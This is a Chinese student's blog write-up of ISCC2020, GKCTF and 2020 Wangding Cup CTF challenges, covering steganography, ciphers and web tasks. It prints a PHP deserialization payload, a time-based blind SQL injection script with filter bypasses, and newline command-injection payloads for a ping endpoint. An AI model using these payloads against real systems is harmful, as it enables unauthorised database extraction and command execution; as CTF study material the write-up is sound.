近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)
本文目录
前言
ISCC Misc
签到题
打开文件,一张png图片,在010Editor或winhex打开,找到修改高度就得到了flag,
但是flag不是对的,然后想着肯定加密了,所以就去挨个试试,然后发现时维吉尼亚密码,密钥就是high,解密就得到flag。
耳听为实
这道题也是突然有了灵感,当时没事在搜"音频隐写",然后就看到了mp3stego这个工具(工具下载可直接在百度搜索,同时我将更新了我的安装配置踩坑记录这篇博客——里面有几个工具的,有兴趣的可以看下哦。)
需要密码,用010Editor打开音频文件,看到信息
没错的,就是flag。
然后将ABC.mp3
复制一份到MP3stego工具的目录下
Decode.exe -X ABC.mp3 -P flag
然后看到目录下生成一个txt文件。
打开看到信息
百度网盘链接,那明显下面的base64编码就是提取密码了
又是一个音频,听了一遍,嗯,听不出来,那就下载那个音频在010Editor查看,
在开头发现它是压缩包,还在末尾发现了flag-RD.wav
,然后就改后缀,解压。
当时就看不懂了。到这里就断了,好不甘心的。害!
emmm,听学长说可以直接对提交框进行爆破。这个操作666,正好flag是弱口令。这真想不到😂。
flag{password}
千层套路
一个GIF动图,拼出来是这样的。
先记在记事本中。
binwalk查看有没有隐藏文件。
看到有压缩包。分离出来。
需要密码才能解压。将记事本中的字符串输入。解压得到文件。
一个PDF文件、一个文本文件。看不懂,没有头绪,找学长问了下思路,了解到是需要像素点画图。用到了脚本。看了学长的博客:千层套路
将脚本搬过来
from PIL import Image
x = 141 #x坐标 通过对txt里的行数进行整数分
y = 726 #y坐标 x * y = 行数
im = Image.new("RGB", (x, y))
file = open('1.txt')
for i in range(0, x):
for j in range(0, y):
line = file.readline() #获取一行的rgb值
line = line[:-2]
line = line[1:]
#print(line)
rgb = line.split(", ") #分离rgb,文本中逗号后面有空格
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
im.save('test2.png')
因为1.txt中是这样的。
所以改成这样的。这是学长给的改版后的脚本。
学习了PIL模块使用
Image.new(mode, size, color)
该方法可以创建指定图像,可在上面进行一些图像操作
- mode 图像色彩模式
- size 图像大小
- color 图像初始颜色
奥对了,还有就是1.txt的格式要写对。像这样
这样的话,file.readline一次读一行。不进行修改的话,其实是这样的。
其实它只有一行的。格式不对。
file.readline去读的话,直接全部读下来,无法生成想要的文件。
脚本是python2版本的,所以到kali中去跑。
python2 1.py 1.txt
我已经把默认的python版本改成了python3,所以这么写为了保险。
结果出来是一张emmm,算是一张镜像图吧。因为他是反的。原本还看错了。最后交flag时,试了几遍发现不对。然后就想到了一个办法,在一张薄纸上抄下来字符串,然后从背面看,就可以了。
然后再看PDF,原本以为是隐写,然后找密码,找半天没找到,就想着是不是空密码,就用工具了,反正是不正确的想法。那个工具目前还没摸清楚怎么使用。所以问了学长。意思大概就是没有太复杂的。就是提示的那样,黑白啥的,忘了。然后用鼠标滑啊滑,在最后面找到了没有显示出来的东西(奇怪,我之前也这样试过,当时啥也没找到)。粘贴到记事本上得到了后一半的flag。
ISCC Web
Php is the best language
打开下载好文件,
考点:PHP反序列化,还有一个魔法函数的了解。学习博客还没写好,回头另发一篇。
经过反序列化
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
所以payload是
?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
进行base64解码,得到flag。
ISCC成绩查询-2
复现, 之前听学长说时时间盲注,再看一下这道题。
先扫描一下IP,看到了flag.php
但是访问就会自动跳转index.php,所以抓包来看
看到有两个参数name
、submit
,get 方式传参试试。
学长说这个是过滤了空格和#
,
给我说了方法,
将name值设为变量,进行爆破。
使用字典,fuzz一下,就能得出闭合符号了。
说一下学长的方法,他绕过是用/**/
来代替空格,用%23
来代替#
可以看出sleep函数被执行了,代表语句插入正确了。
然后用qwzf大佬写的脚本进行
import requests
import string
import time
import datetime
if __name__ == "__main__":
chars=string.ascii_letters+string.digits
url="http://101.201.126.95:7007/flag.php"
#payload="'/**/or/**/if((ascii(substr(database(),{0},1))={1}),sleep(3),1)%23" #pikachu
#payload="'/**/or/**/if((ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"#flag
#payload="'/**/or/**/if((ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=\"flag\"/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"
payload="'/**/or/**/if((ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"
print("数据:")
name=''
for i in range(1,40):
char=''
for j in chars:
payloads=payload.format(i,ord(j))
urls=url+"?name="+payloads+"&submit=%E6%9F%A5%E8%AF%A2"
t1=datetime.datetime.now()
r=requests.get(url=urls)
t2=datetime.datetime.now()
sec = (t2 - t1).seconds
if sec>=3:
name+=j
print(name)
char=j
break
if char=='':
break
这个脚本是原来的用/**/
代替空格,用%23
代替#
的脚本。可以得到
MD5 解密就可以了。
关于mysql注入的知识大佬博客学习学习
ISCC成绩查询_3
然后f12查看一下,
不得不说,藏得真深,差点找不到。
意思是一个加密的函数,传入data和key然后将key进行MD5加密,再用strlen得出data和key的长度数值。
然后使用一个for循环将key(MD5加密后的)截取成和data的长度相同的,赋值给一个变量$char
。再使用一个for循环
让(原文每个字符+密钥对应每个字符)%256得到密文,赋值给变量str
最后$str
进行base64加密后,返回。
先解出key的md5,即是密钥
然后对data进行base64解码得到密文
密文每个字符-密钥,如果<0再加256;否则不用加
得到flag
用学长的解密脚本。
密钥也就是key上一题的flag,就是666。
<?php
function decrypt($data, $key){
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($key);
for ($i = 0; $i < $len; $i++){
if ($x == $l){
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++){
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))){
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}else{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return $str;
}
$data = 'qKe4j6uFeqaTe5rVqqaXiKig25o='; // 被加密信息
$key = '666'; // 密钥
$decrypt = decrypt($data, $key);
echo $decrypt;
?>
得到flag,复现完成。
What can images do
这个我做的时候已经上传不了任何东西了,最普通的图片都传不了,题目被人搞了。不过看学长的博客,这个是最简单的传图片马,利用文件包含漏洞用蚁剑连接就行了。与那种靶场差不多的。
阿帅的爱情
PHP代码审计和命令执行漏洞。
<?php
if(!isset($_GET["ip"])){
show_source(__file__);
} else
{
$ip=$_GET["ip"];
$pattern="/[;|&].*[a-zA-Z]+/";
if(preg_match($pattern,$ip)!=0){
die('bad domain');
}
try {
$result = shell_exec('ping -c 4 ' . $ip);
}
catch(Exception $e) {
$result = $e->getMessage();
echo $result;
}
$result = str_replace("\n", "<br>", $result);
echo $result;
}
这个命令执行漏洞我前段时间刚学过,但是只了解皮毛,没有去找相关的题进行实验,所以这道题也没有做出来。
这个看出来是可以当作ping来使用的。而且样式是linux系统中的ping方式,需要设置参数控制发包次数。
可以执行一些终端命令
方法是进行绕过:参考文章
使用%0a
绕过
?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat flag.php
使用cat命令查看flag.php当中的内容。
害,其实挺简单的。
Where is file?
题被搞坏了,emmm 就是PHP伪协议。
GKCTF Misc
签到直接看视频。
[GKCTF2020]Pokémon
玩游戏,在虚拟机里下载了个模拟器,然后开始玩。我还在网上找到通关教程。真是太惨了。去百度个通关教程——传送门
然后闯到103道路会看到flag,不过我到那里三次才看出来。原本一直在找女主,真是傻了。还他喵的死了好几次。看下时间用了将近一个小时。枯了。
跑完全图就行了。注意为了节省时间,别穿草丛,说不定(很大几率,几乎可以说一定)会碰到怪兽,然后就要跟他打。费时间(都是眼泪)。
还有一点要注意的就是
别碰他俩bt,他俩的怪兽都是15级,完全打不过。见了这俩请绕道走。不然还不能逃,就要重新来了。
GKCTF 密码学
[GKCTF2020]小学生的密码学
仿射密码
再进行base64加密就行了。
2020网鼎杯——青龙组部分题目复现
签到题
这个没有环境了,链接挂了。所以记录下思路
点开链接进行战队猜猜猜,15关猜图,全猜对弹出框,然后输入战队token,f12进入控制台可以找到flag。啥也没有了。留下张图做个纪念哈哈
boom
一个exe程序,打开是做三道题:
第一个,解MD5字符串,直接在线网站解就行了。
第二个,解个简单的三元一次方程组
第三个:解一个一元一次方程组
可以使用python写简单的几行代码,使用sqrt函数开方一下。
还可以在线网站解:传送门
然后发现程序直接关闭了,还是没有看到flag
所以就打开cmd,到目标目录下,运行boom.exe
,将答案再填写一遍。
得到flag。
参考链接:
我的不全,只有几道题。学长整理的比较多——ISCCweb题解:Lemon
文末寄语:
没人能挽留你在这个世界,就像没人能阻止你来到这个世界。如果非要说害怕什么,我只是害怕上帝丢给我太多理想,却忘了给我完成理想的时间。
——《站在两个世界的边缘》